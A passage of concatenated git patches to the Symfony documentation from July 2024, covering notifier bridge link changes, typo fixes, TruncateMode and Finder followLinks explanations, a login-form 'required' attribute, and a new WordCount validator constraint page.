 .. deprecated:: 7.1
 
     The `Sms77`_ integration is deprecated since
@@ -1131,6 +1138,7 @@ is dispatched. Listeners receive a
 .. _`Seven.io`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/Sevenio/README.md
 .. _`SimpleTextin`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/SimpleTextin/README.md
 .. _`Sinch`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/Sinch/README.md
+.. _`Sipgate`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/Sipgate/README.md
 .. _`Slack`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/Slack/README.md
 .. _`Sms77`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/Sms77/README.md
 .. _`SmsBiuras`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/SmsBiuras/README.md

From 102bad6e2df20b8e42d3535e8436ce97d6bba6ba Mon Sep 17 00:00:00 2001
From: Matthieu Lempereur <matt.lempereur@gmail.com>
Date: Sun, 7 Jul 2024 05:56:42 +0200
Subject: [PATCH 6202/7107] remove link to apc documentation

---
 performance.rst | 3 +--
 1 file changed, 1 insertion(+), 2 deletions(-)

diff --git a/performance.rst b/performance.rst
index dc44757be64..cf41c814eb6 100644
--- a/performance.rst
+++ b/performance.rst
@@ -91,7 +91,7 @@ Use the OPcache Byte Code Cache
 OPcache stores the compiled PHP files to avoid having to recompile them for
 every request. There are some `byte code caches`_ available, but as of PHP
 5.5, PHP comes with `OPcache`_ built-in. For older versions, the most widely
-used byte code cache is `APC`_.
+used byte code cache is APC.
 
 .. _performance-use-preloading:
 
@@ -347,7 +347,6 @@ Learn more
 .. _`byte code caches`: https://en.wikipedia.org/wiki/List_of_PHP_accelerators
 .. _`OPcache`: https://www.php.net/manual/en/book.opcache.php
 .. _`Composer's autoloader optimization`: https://getcomposer.org/doc/articles/autoloader-optimization.md
-.. _`APC`: https://www.php.net/manual/en/book.apc.php
 .. _`APCu Polyfill component`: https://github.com/symfony/polyfill-apcu
 .. _`APCu PHP functions`: https://www.php.net/manual/en/ref.apcu.php
 .. _`cachetool`: https://github.com/gordalina/cachetool

From 9f4e5a5fb5418489978f0b30e5803e4eaec80baf Mon Sep 17 00:00:00 2001
From: Matthieu Lempereur <matt.lempereur@gmail.com>
Date: Sun, 7 Jul 2024 13:56:54 +0200
Subject: [PATCH 6203/7107] Remove the Gitter bridge

---
 notifier.rst | 2 --
 1 file changed, 2 deletions(-)

diff --git a/notifier.rst b/notifier.rst
index 5fe86724fe1..cbc23655124 100644
--- a/notifier.rst
+++ b/notifier.rst
@@ -351,7 +351,6 @@ Service                                  Package                               D
 `Discord`_                               ``symfony/discord-notifier``          ``discord://TOKEN@default?webhook_id=ID``
 `FakeChat`_                              ``symfony/fake-chat-notifier``        ``fakechat+email://default?to=TO&from=FROM`` or ``fakechat+logger://default``
 `Firebase`_                              ``symfony/firebase-notifier``         ``firebase://USERNAME:PASSWORD@default``
-`Gitter`_                                ``symfony/gitter-notifier``           ``gitter://TOKEN@default?room_id=ROOM_ID``
 `GoogleChat`_                            ``symfony/google-chat-notifier``      ``googlechat://ACCESS_KEY:ACCESS_TOKEN@default/SPACE?thread_key=THREAD_KEY``
 `LINE Notify`_                           ``symfony/line-notify-notifier``      ``linenotify://TOKEN@default``
 `LinkedIn`_                              ``symfony/linked-in-notifier``        ``linkedin://TOKEN:USER_ID@default``
@@ -1105,7 +1104,6 @@ is dispatched. Listeners receive a
 .. _`Firebase`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/Firebase/README.md
 .. _`FreeMobile`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/FreeMobile/README.md
 .. _`GatewayApi`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/GatewayApi/README.md
-.. _`Gitter`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/Gitter/README.md
 .. _`GoIP`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/GoIP/README.md
 .. _`GoogleChat`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/GoogleChat/README.md
 .. _`Infobip`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/Infobip/README.md

From 3533f9606d13cd530568b05f4cd01ccad2a29f5f Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 2 Jul 2024 17:34:47 +0200
Subject: [PATCH 6204/7107] Add a short mention to apache-pack in the web
 server docs

---
 setup/web_server_configuration.rst | 8 ++++++++
 1 file changed, 8 insertions(+)

diff --git a/setup/web_server_configuration.rst b/setup/web_server_configuration.rst
index 1f62d5e9af6..e5a0c9e7fd9 100644
--- a/setup/web_server_configuration.rst
+++ b/setup/web_server_configuration.rst
@@ -95,6 +95,14 @@ directive to pass requests for PHP files to PHP FPM:
         CustomLog /var/log/apache2/project_access.log combined
     </VirtualHost>
 
+.. note::
+
+    If you are doing some quick tests with Apache, you can also run
+    ``composer require symfony/apache-pack``. This package creates an ``.htaccess``
+    file in the ``public/`` directory with the necessary rewrite rules needed to serve
+    the Symfony application. However, in production, it's recommended to move these
+    rules to the main Apache configuration file (as shown above) to improve performance.
+
 Nginx
 -----
 

From c827484499fe5affe3980a99b931798c53e190a9 Mon Sep 17 00:00:00 2001
From: Andrii Sukhoi <andrii.sukhoi@gmail.com>
Date: Fri, 5 Jul 2024 17:19:32 +0200
Subject: [PATCH 6205/7107] Fix typo

Change Whilst to While
---
 components/dependency_injection/compilation.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/components/dependency_injection/compilation.rst b/components/dependency_injection/compilation.rst
index edaa8be8f47..beedbf33853 100644
--- a/components/dependency_injection/compilation.rst
+++ b/components/dependency_injection/compilation.rst
@@ -150,7 +150,7 @@ will look like this::
         ],
     ]
 
-Whilst you can manually manage merging the different files, it is much better
+While you can manually manage merging the different files, it is much better
 to use :doc:`the Config component </components/config>` to
 merge and validate the config values. Using the configuration processing
 you could access the config value this way::

From 4651ca41c735d0c3151837a9c0fc927658a1eeae Mon Sep 17 00:00:00 2001
From: Tac Tacelosky <tacman@gmail.com>
Date: Sun, 7 Jul 2024 12:05:00 -0600
Subject: [PATCH 6206/7107] add missing word

"if the property" doesn't seem right to me.
---
 components/workflow.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/components/workflow.rst b/components/workflow.rst
index 3821a2e9fa8..8ca201b0859 100644
--- a/components/workflow.rst
+++ b/components/workflow.rst
@@ -94,7 +94,7 @@ you can retrieve a workflow from it and use it as follows::
 Initialization
 --------------
 
-If the property of your object is ``null`` and you want to set it with the
+If the marking property of your object is ``null`` and you want to set it with the
 ``initial_marking`` from the configuration, you can call the ``getMarking()``
 method to initialize the object property::
 

From 03173f88b1d74cb64a5ae1042bbdd19a3d515531 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 8 Jul 2024 09:39:04 +0200
Subject: [PATCH 6207/7107] Add a note explaining the removal of Gitter

---
 notifier.rst | 5 +++++
 1 file changed, 5 insertions(+)

diff --git a/notifier.rst b/notifier.rst
index cbc23655124..d959b4a73d0 100644
--- a/notifier.rst
+++ b/notifier.rst
@@ -370,6 +370,11 @@ Service                                  Package                               D
 
     The ``Bluesky`` integration was introduced in Symfony 7.1.
 
+.. deprecated:: 7.2
+
+    The ``Gitter`` integration was removed in Symfony 7.2 because that service
+    no longer provides an API.
+
 .. caution::
 
     By default, if you have the :doc:`Messenger component </messenger>` installed,

From 15a50b58980903c362e534d21021cfc88c0d72d6 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 8 Jul 2024 10:34:38 +0200
Subject: [PATCH 6208/7107] Minor tweaks

---
 components/type_info.rst | 8 ++++----
 1 file changed, 4 insertions(+), 4 deletions(-)

diff --git a/components/type_info.rst b/components/type_info.rst
index 1c42a89b3c8..f6b5e84a0f5 100644
--- a/components/type_info.rst
+++ b/components/type_info.rst
@@ -63,17 +63,17 @@ based on reflection or a simple string::
 
     // Type instances have several helper methods
 
-    // returns the main type (e.g. in this example ir returns an "array" Type instance)
-    // for nullable types (e.g. string|null) returns the non-null type (e.g. string)
+    // returns the main type (e.g. in this example i returns an "array" Type instance);
+    // for nullable types (e.g. string|null) it returns the non-null type (e.g. string)
     // and for compound types (e.g. int|string) it throws an exception because both types
     // can be considered the main one, so there's no way to pick one
     $baseType = $type->getBaseType();
 
-    // for collections, it returns the type of the item used as the key
+    // for collections, it returns the type of the item used as the key;
     // in this example, the collection is a list, so it returns and "int" Type instance
     $keyType = $type->getCollectionKeyType();
 
-    // you can chain the utility methods e.g. to introspect the values of the collection
+    // you can chain the utility methods (e.g. to introspect the values of the collection)
     // the following code will return true
     $isValueNullable = $type->getCollectionValueType()->isNullable();
 

From d13c60183fcf6822e00246b25dbbd112bedcc08e Mon Sep 17 00:00:00 2001
From: Matthieu Lempereur <matt.lempereur@gmail.com>
Date: Mon, 8 Jul 2024 11:13:27 +0200
Subject: [PATCH 6209/7107] fix notifier geoip bridge repository link

---
 notifier.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/notifier.rst b/notifier.rst
index e1ad82cf2a6..8eadec26f4a 100644
--- a/notifier.rst
+++ b/notifier.rst
@@ -1118,7 +1118,7 @@ is dispatched. Listeners receive a
 .. _`FreeMobile`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/FreeMobile/README.md
 .. _`GatewayApi`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/GatewayApi/README.md
 .. _`Gitter`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/Gitter/README.md
-.. _`GoIP`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/GoIP/README.md
+.. _`GoIP`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/GoIp/README.md
 .. _`GoogleChat`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/GoogleChat/README.md
 .. _`Infobip`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/Infobip/README.md
 .. _`Iqsms`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/Iqsms/README.md

From 095155925a3239d23e57df548bfd6fd3b3bd89b0 Mon Sep 17 00:00:00 2001
From: Ahmed Ghanem <124502255+ahmedghanem00@users.noreply.github.com>
Date: Tue, 9 Jul 2024 11:38:54 +0300
Subject: [PATCH 6210/7107] [Notifier] Follow-Up with GoIP renaming

As the bridge renaming happened recently in Packagist, so, the update has been made here as well.
---
 notifier.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/notifier.rst b/notifier.rst
index 8eadec26f4a..3bf2d34e34f 100644
--- a/notifier.rst
+++ b/notifier.rst
@@ -91,7 +91,7 @@ Service
 `GatewayApi`_       **Install**: ``composer require symfony/gateway-api-notifier`` \
                     **DSN**: ``gatewayapi://TOKEN@default?from=FROM`` \
                     **Webhook support**: No
-`GoIP`_             **Install**: ``composer require symfony/goip-notifier`` \
+`GoIP`_             **Install**: ``composer require symfony/go-ip-notifier`` \
                     **DSN**: ``goip://USERNAME:PASSWORD@HOST:80?sim_slot=SIM_SLOT`` \
                     **Webhook support**: No
 `Infobip`_          **Install**: ``composer require symfony/infobip-notifier`` \

From 7928e4d7b21c7e860492c7ee6e9dbcd4a1f2e1ef Mon Sep 17 00:00:00 2001
From: Tim Herlaud <therlaud@interdrinks.fr>
Date: Wed, 10 Jul 2024 09:17:34 +0200
Subject: [PATCH 6211/7107] [String] Add TruncateMode mode to truncate methods

---
 string.rst | 13 +++++++++----
 1 file changed, 9 insertions(+), 4 deletions(-)

diff --git a/string.rst b/string.rst
index c58a736da89..c956d33b9af 100644
--- a/string.rst
+++ b/string.rst
@@ -394,11 +394,16 @@ Methods to Join, Split, Truncate and Reverse
     u('Lorem Ipsum')->truncate(3);             // 'Lor'
     u('Lorem Ipsum')->truncate(80);            // 'Lorem Ipsum'
     // the second argument is the character(s) added when a string is cut
+    // the third argument is TruncateMode::Char by default
     // (the total length includes the length of this character(s))
-    u('Lorem Ipsum')->truncate(8, '…');             // 'Lorem I…'
-    // if the third argument is false, the last word before the cut is kept
-    // even if that generates a string longer than the desired length
-    u('Lorem Ipsum')->truncate(8, '…', cut: false); // 'Lorem Ipsum'
+    u('Lorem Ipsum')->truncate(8, '…');        // 'Lorem I…'
+    // use options to keep complete words
+    u('Lorem ipsum dolor sit amet')->truncate(10, '...', TruncateMode::WordBefore);  // 'Lorem...'
+    u('Lorem ipsum dolor sit amet')->truncate(14, '...', TruncateMode::WordAfter);  // 'Lorem ipsum...'
+
+.. versionadded:: 7.2
+
+    The TruncateMode argument for truncate function was introduced in Symfony 7.2.
 
 ::
 

From fa16f07a04693ac38c08d7b66b61024383c79192 Mon Sep 17 00:00:00 2001
From: David Buchmann <david.buchmann@liip.ch>
Date: Wed, 10 Jul 2024 14:55:11 +0200
Subject: [PATCH 6212/7107] fix service definition example in testing section

---
 mercure.rst | 5 +++--
 1 file changed, 3 insertions(+), 2 deletions(-)

diff --git a/mercure.rst b/mercure.rst
index a2ed1fea4db..bbc8771b82c 100644
--- a/mercure.rst
+++ b/mercure.rst
@@ -673,8 +673,9 @@ sent:
 .. code-block:: yaml
 
     # config/services_test.yaml
-    mercure.hub.default:
-        class: App\Tests\Functional\Stub\HubStub
+    services:
+        mercure.hub.default:
+            class: App\Tests\Functional\Stub\HubStub
 
 As MercureBundle support multiple hubs, you may have to replace
 the other service definitions accordingly.

From b607d25adaad279a4c0b974713f3f627c00cff7c Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Wed, 10 Jul 2024 17:09:38 +0200
Subject: [PATCH 6213/7107] Reword

---
 string.rst | 14 +++++++++-----
 1 file changed, 9 insertions(+), 5 deletions(-)

diff --git a/string.rst b/string.rst
index 72dfb5c4ae7..cd104b1f947 100644
--- a/string.rst
+++ b/string.rst
@@ -394,16 +394,20 @@ Methods to Join, Split, Truncate and Reverse
     u('Lorem Ipsum')->truncate(3);             // 'Lor'
     u('Lorem Ipsum')->truncate(80);            // 'Lorem Ipsum'
     // the second argument is the character(s) added when a string is cut
-    // the third argument is TruncateMode::Char by default
     // (the total length includes the length of this character(s))
+    // (note that '…' is a single character that includes three dots; it's not '...')
     u('Lorem Ipsum')->truncate(8, '…');        // 'Lorem I…'
-    // use options to keep complete words
-    u('Lorem ipsum dolor sit amet')->truncate(10, '...', TruncateMode::WordBefore);  // 'Lorem...'
-    u('Lorem ipsum dolor sit amet')->truncate(14, '...', TruncateMode::WordAfter);  // 'Lorem ipsum...'
+    // the third optional argument defines how to cut words when the length is exceeded
+    // the default value is TruncateMode::Char which cuts the string at the exact given length
+    u('Lorem ipsum dolor sit amet')->truncate(8, cut: TruncateMode::Char);       // 'Lorem ip'
+    // returns up to the last complete word that fits in the given length without surpassing it
+    u('Lorem ipsum dolor sit amet')->truncate(8, cut: TruncateMode::WordBefore); // 'Lorem'
+    // returns up to the last complete word that fits in the given length, surpassing it if needed
+    u('Lorem ipsum dolor sit amet')->truncate(8, cut: TruncateMode::WordAfter);   // 'Lorem ipsum'
 
 .. versionadded:: 7.2
 
-    The TruncateMode argument for truncate function was introduced in Symfony 7.2.
+    The ``TruncateMode`` argument for truncate function was introduced in Symfony 7.2.
 
 ::
 

From 3236182336c79d9d3ea5a28a2c21550067b636a0 Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Wed, 10 Jul 2024 20:06:51 +0200
Subject: [PATCH 6214/7107] -

---
 string.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/string.rst b/string.rst
index cd104b1f947..f2856976986 100644
--- a/string.rst
+++ b/string.rst
@@ -407,7 +407,7 @@ Methods to Join, Split, Truncate and Reverse
 
 .. versionadded:: 7.2
 
-    The ``TruncateMode`` argument for truncate function was introduced in Symfony 7.2.
+    The ``TruncateMode`` parameter for truncate function was introduced in Symfony 7.2.
 
 ::
 

From 43878c3aef90b3ccc7d6396fc13c9bc6f8afd377 Mon Sep 17 00:00:00 2001
From: lkolndeep <lkolndeep@protonmail.com>
Date: Mon, 8 Jul 2024 23:04:56 +0200
Subject: [PATCH 6215/7107] Add a note to explain the goal of the followLinks
 method

---
 components/finder.rst | 4 ++++
 1 file changed, 4 insertions(+)

diff --git a/components/finder.rst b/components/finder.rst
index 35041ddb2b1..daf87c9b85c 100644
--- a/components/finder.rst
+++ b/components/finder.rst
@@ -127,6 +127,10 @@ If you want to follow `symbolic links`_, use the ``followLinks()`` method::
 
     $finder->files()->followLinks();
 
+.. note::
+
+    Be careful, the ``followLinks`` method does not resolve links. This method makes the links to directories followed/traversed into. If we suppose a folder *followLinksFolder* which contains a folder with a file and a symlink of the folder *folder, file.txt and symlinkfolder*, thanks to the Finder component ``$finder->in('/home/user/followLinksFolder');`` will retrieve three elements *folder, folder/file.txt and symlinkfolder*. If, we use the ``followLinks`` method instead ``$finder->followLinks()->in('/home/user/followLinksFolder');``, we will retrieve also a fourth element *folder, folder/file.txt, symlinkfolder and symlinkfolder/file.txt*.
+
 Version Control Files
 ~~~~~~~~~~~~~~~~~~~~~
 

From 1312099cc5f09ddcb17a7d51b8b3632f1de9b97b Mon Sep 17 00:00:00 2001
From: Jonathan Clark <jono_clark2@hotmail.com>
Date: Thu, 11 Jul 2024 19:27:15 +0100
Subject: [PATCH 6216/7107] Update security.rst

If this form is submitted with an empty username or password, a 400 error will be thrown in a new page:  The key "_password" must be a non-empty string.
By adding "required" the user will instead get a more helpful "Please fill in this field." error on screen next to the appropriate box which is a much better experience.
---
 security.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/security.rst b/security.rst
index c611fe4654c..84e4ebb7d75 100644
--- a/security.rst
+++ b/security.rst
@@ -833,10 +833,10 @@ Finally, create or update the template:
 
         <form action="{{ path('app_login') }}" method="post">
             <label for="username">Email:</label>
-            <input type="text" id="username" name="_username" value="{{ last_username }}">
+            <input type="text" id="username" name="_username" value="{{ last_username }}" required>
 
             <label for="password">Password:</label>
-            <input type="password" id="password" name="_password">
+            <input type="password" id="password" name="_password" required>
 
             {# If you want to control the URL the user is redirected to on success
             <input type="hidden" name="_target_path" value="/account"> #}

From 1e880ca1d0ebd18f3c90a4225f69ad5c063c62c4 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 12 Jul 2024 17:47:17 +0200
Subject: [PATCH 6217/7107] Reword

---
 components/finder.rst | 26 +++++++++++++++++++++++---
 1 file changed, 23 insertions(+), 3 deletions(-)

diff --git a/components/finder.rst b/components/finder.rst
index daf87c9b85c..c696d7290ab 100644
--- a/components/finder.rst
+++ b/components/finder.rst
@@ -127,9 +127,29 @@ If you want to follow `symbolic links`_, use the ``followLinks()`` method::
 
     $finder->files()->followLinks();
 
-.. note::
-
-    Be careful, the ``followLinks`` method does not resolve links. This method makes the links to directories followed/traversed into. If we suppose a folder *followLinksFolder* which contains a folder with a file and a symlink of the folder *folder, file.txt and symlinkfolder*, thanks to the Finder component ``$finder->in('/home/user/followLinksFolder');`` will retrieve three elements *folder, folder/file.txt and symlinkfolder*. If, we use the ``followLinks`` method instead ``$finder->followLinks()->in('/home/user/followLinksFolder');``, we will retrieve also a fourth element *folder, folder/file.txt, symlinkfolder and symlinkfolder/file.txt*.
+Note that this method follows links but it doesn't resolve them. Consider
+the following structure of files of directories:
+
+.. code-block:: text
+
+    ├── folder1/
+    │   ├──file1.txt
+    │   ├── file2link (symbolic link to folder2/file2.txt file)
+    │   └── folder3link (symbolic link to folder3/ directory)
+    ├── folder2/
+    │   └── file2.txt
+    └── folder3/
+        └── file3.txt
+
+If you try to find all files in ``folder1/`` via ``$finder->files()->in('/path/to/folder1/')``
+you'll get the following results:
+
+* When **not** using the ``followLinks()`` method: ``file1.txt`` and ``file2link``
+  (this link is not resolved). The ``folder3link`` doesn't appear in the results
+  because it's not followed or resolved;
+* When using the ``followLinks()`` method: ``file1.txt``, ``file2link`` (this link
+  is still not resolved) and ``folder3/file3.txt`` (this file appears in the results
+  because the ``folder1/folder3link`` link was followed).
 
 Version Control Files
 ~~~~~~~~~~~~~~~~~~~~~

From 86e415b1920d7d0ebf48678887f9a61619b86210 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 15 Jul 2024 09:42:03 +0200
Subject: [PATCH 6218/7107] Fix the parameter configuration in the file upload
 doc

---
 controller/upload_file.rst | 13 +++++++------
 1 file changed, 7 insertions(+), 6 deletions(-)

diff --git a/controller/upload_file.rst b/controller/upload_file.rst
index b273deb0fab..6fb0bbf3883 100644
--- a/controller/upload_file.rst
+++ b/controller/upload_file.rst
@@ -175,16 +175,17 @@ Finally, you need to update the code of the controller that handles the form::
         }
     }
 
-Now, create the ``brochures_directory`` parameter that was used in the
-controller to specify the directory in which the brochures should be stored:
+Now, bind the ``$brochuresDirectory`` controller argument to its actual value
+using the service configuration:
 
 .. code-block:: yaml
 
     # config/services.yaml
-
-    # ...
-    parameters:
-        brochures_directory: '%kernel.project_dir%/public/uploads/brochures'
+    services:
+        _defaults:
+            # ...
+            bind:
+                $brochuresDirectory: '%kernel.project_dir%/public/uploads/brochures'
 
 There are some important things to consider in the code of the above controller:
 

From 0b4c3781e859c7f3bd5529ad5e8e47609c6d5a5a Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 16 Jul 2024 10:13:11 +0200
Subject: [PATCH 6219/7107] Clarify the purpose of the Config component

---
 components/config.rst | 14 +++++++++++---
 1 file changed, 11 insertions(+), 3 deletions(-)

diff --git a/components/config.rst b/components/config.rst
index 579d5b3149d..9de03f1f869 100644
--- a/components/config.rst
+++ b/components/config.rst
@@ -1,9 +1,17 @@
 The Config Component
 ====================
 
-    The Config component provides several classes to help you find, load,
-    combine, fill and validate configuration values of any kind, whatever
-    their source may be (YAML, XML, INI files, or for instance a database).
+The Config component provides utilities to define and manage the configuration
+options of PHP applications. It allows you to:
+
+* Define a configuration structure, its validation rules, default values and documentation;
+* Support different configuration formats (YAML, XML, INI, etc.);
+* Merge multiple configurations from different sources into a single configuration.
+
+.. note::
+
+    You don't have to use this component to configure Symfony applications.
+    Instead, read the docs about :doc:`how to configure Symfony applications </configuration>`.
 
 Installation
 ------------

From e4bfad31dc4fd910f5f01aea02a6ee6ddbeecab3 Mon Sep 17 00:00:00 2001
From: Christian Flothmann <christian.flothmann@qossmic.com>
Date: Wed, 17 Jul 2024 09:58:11 +0200
Subject: [PATCH 6220/7107] send necessary HTTP headers

---
 http_client.rst | 1 +
 1 file changed, 1 insertion(+)

diff --git a/http_client.rst b/http_client.rst
index bc950a382e8..c8c3094375a 100644
--- a/http_client.rst
+++ b/http_client.rst
@@ -676,6 +676,7 @@ when the streams are large)::
     $client->request('POST', 'https://...', [
         // ...
         'body' => $formData->bodyToString(),
+        'headers' => $formData->getPreparedHeaders()->toArray(),
     ]);
 
 If you need to add a custom HTTP header to the upload, you can do::

From e983455bc391256a77f5397efe650393e9c58c04 Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Wed, 17 Jul 2024 15:13:29 +0200
Subject: [PATCH 6221/7107] [Validator] Add the `WordCount` constraint

---
 reference/constraints/WordCount.rst | 150 ++++++++++++++++++++++++++++
 reference/constraints/map.rst.inc   |   1 +
 2 files changed, 151 insertions(+)
 create mode 100644 reference/constraints/WordCount.rst

diff --git a/reference/constraints/WordCount.rst b/reference/constraints/WordCount.rst
new file mode 100644
index 00000000000..74c79216898
--- /dev/null
+++ b/reference/constraints/WordCount.rst
@@ -0,0 +1,150 @@
+WordCount
+=========
+
+.. versionadded:: 7.2
+
+    The ``WordCount`` constraint was introduced in Symfony 7.2.
+
+Validates that a string (or an object implementing the ``Stringable`` PHP interface)
+contains a given number of words. Internally, this constraint uses the
+:phpclass:`IntlBreakIterator` class to count the words depending on your locale.
+
+==========  =======================================================================
+Applies to  :ref:`property or method <validation-property-target>`
+Class       :class:`Symfony\\Component\\Validator\\Constraints\\WordCount`
+Validator   :class:`Symfony\\Component\\Validator\\Constraints\\WordCountValidator`
+==========  =======================================================================
+
+Basic Usage
+-----------
+
+If you wanted to ensure that the ``content`` property of a ``BlogPostDTO``
+class contains between 100 and 200 words, you could do the following:
+
+.. configuration-block::
+
+    .. code-block:: php-attributes
+
+        // src/Entity/BlogPostDTO.php
+        namespace App\Entity;
+
+        use Symfony\Component\Validator\Constraints as Assert;
+
+        class BlogPostDTO
+        {
+            #[Assert\WordCount(min: 100, max: 200)]
+            protected string $content;
+        }
+
+    .. code-block:: yaml
+
+        # config/validator/validation.yaml
+        App\Entity\BlogPostDTO:
+            properties:
+                content:
+                    - WordCount:
+                        min: 100
+                        max: 200
+
+    .. code-block:: xml
+
+        <!-- config/validator/validation.xml -->
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <constraint-mapping xmlns="http://symfony.com/schema/dic/constraint-mapping"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xsi:schemaLocation="http://symfony.com/schema/dic/constraint-mapping https://symfony.com/schema/dic/constraint-mapping/constraint-mapping-1.0.xsd">
+
+            <class name="App\Entity\BlogPostDTO">
+                <property name="content">
+                    <constraint name="WordCount">
+                        <option name="min">100</option>
+                        <option name="max">200</option>
+                    </constraint>
+                </property>
+            </class>
+        </constraint-mapping>
+
+    .. code-block:: php
+
+        // src/Entity/BlogPostDTO.php
+        namespace App\Entity;
+
+        use Symfony\Component\Validator\Constraints as Assert;
+        use Symfony\Component\Validator\Mapping\ClassMetadata;
+
+        class BlogPostDTO
+        {
+            // ...
+
+            public static function loadValidatorMetadata(ClassMetadata $metadata): void
+            {
+                $metadata->addPropertyConstraint('content', new Assert\WordCount([
+                    'min' => 100,
+                    'max' => 200,
+                ]));
+            }
+        }
+
+Options
+-------
+
+``min``
+~~~~~~~
+
+**type**: ``integer`` **default**: ``null``
+
+The minimum number of words that the value must contain.
+
+``max``
+~~~~~~~
+
+**type**: ``integer`` **default**: ``null``
+
+The maximum number of words that the value must contain.
+
+``locale``
+~~~~~~~~~~
+
+**type**: ``string`` **default**: ``null``
+
+The locale to use for counting the words by using the :phpclass:`IntlBreakIterator`
+class. The default value (``null``) means that the constraint uses the current
+user locale.
+
+.. include:: /reference/constraints/_groups-option.rst.inc
+
+``minMessage``
+~~~~~~~~~~~~~~
+
+**type**: ``string`` **default**: ``This value is too short. It should contain at least one word.|This value is too short. It should contain at least {{ min }} words.``
+
+This is the message that will be shown if the value does not contain at least
+the minimum number of words.
+
+You can use the following parameters in this message:
+
+================  ==================================================
+Parameter         Description
+================  ==================================================
+``{{ min }}``     The minimum number of words
+``{{ count }}``   The actual number of words
+================  ==================================================
+
+``maxMessage``
+~~~~~~~~~~~~~~
+
+**type**: ``string`` **default**: ``This value is too long. It should contain one word.|This value is too long. It should contain {{ max }} words or less.``
+
+This is the message that will be shown if the value contains more than the
+maximum number of words.
+
+You can use the following parameters in this message:
+
+================  ==================================================
+Parameter         Description
+================  ==================================================
+``{{ max }}``     The maximum number of words
+``{{ count }}``   The actual number of words
+================  ==================================================
+
+.. include:: /reference/constraints/_payload-option.rst.inc
diff --git a/reference/constraints/map.rst.inc b/reference/constraints/map.rst.inc
index 9f14f418bb1..978951c9de7 100644
--- a/reference/constraints/map.rst.inc
+++ b/reference/constraints/map.rst.inc
@@ -33,6 +33,7 @@ String Constraints
 * :doc:`NoSuspiciousCharacters </reference/constraints/NoSuspiciousCharacters>`
 * :doc:`Charset </reference/constraints/Charset>`
 * :doc:`MacAddress </reference/constraints/MacAddress>`
+* :doc:`WordCount </reference/constraints/WordCount>`
 
 Comparison Constraints
 ~~~~~~~~~~~~~~~~~~~~~~

From 608408431f9962d5b2b95ce47097d8379cf08d73 Mon Sep 17 00:00:00 2001
From: Wouter de Jong <wouter@wouterj.nl>
Date: Tue, 2 Jul 2024 13:18:13 +0200
Subject: [PATCH 6222/7107] Clarify not using the Config component for app
 configuration

---
 best_practices.rst | 4 ++++
 1 file changed, 4 insertions(+)

diff --git a/best_practices.rst b/best_practices.rst
index 247d52fa15d..dafdfe8bc1c 100644
--- a/best_practices.rst
+++ b/best_practices.rst
@@ -109,6 +109,10 @@ Define these options as :ref:`parameters <configuration-parameters>` in the
 :ref:`environment <configuration-environments>` in the ``config/services_dev.yaml``
 and ``config/services_prod.yaml`` files.
 
+Unless the application configuration is reused multiple times and needs
+rigid validation, do *not* use the :doc:`Config component </components/config>`
+to define the options.
+
 Use Short and Prefixed Parameter Names
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 

From 7d5aebcbeb1c11eb456fdc6672b0dea6616088e0 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Wed, 17 Jul 2024 17:56:40 +0200
Subject: [PATCH 6223/7107] Minor tweak

---
 controller/upload_file.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/controller/upload_file.rst b/controller/upload_file.rst
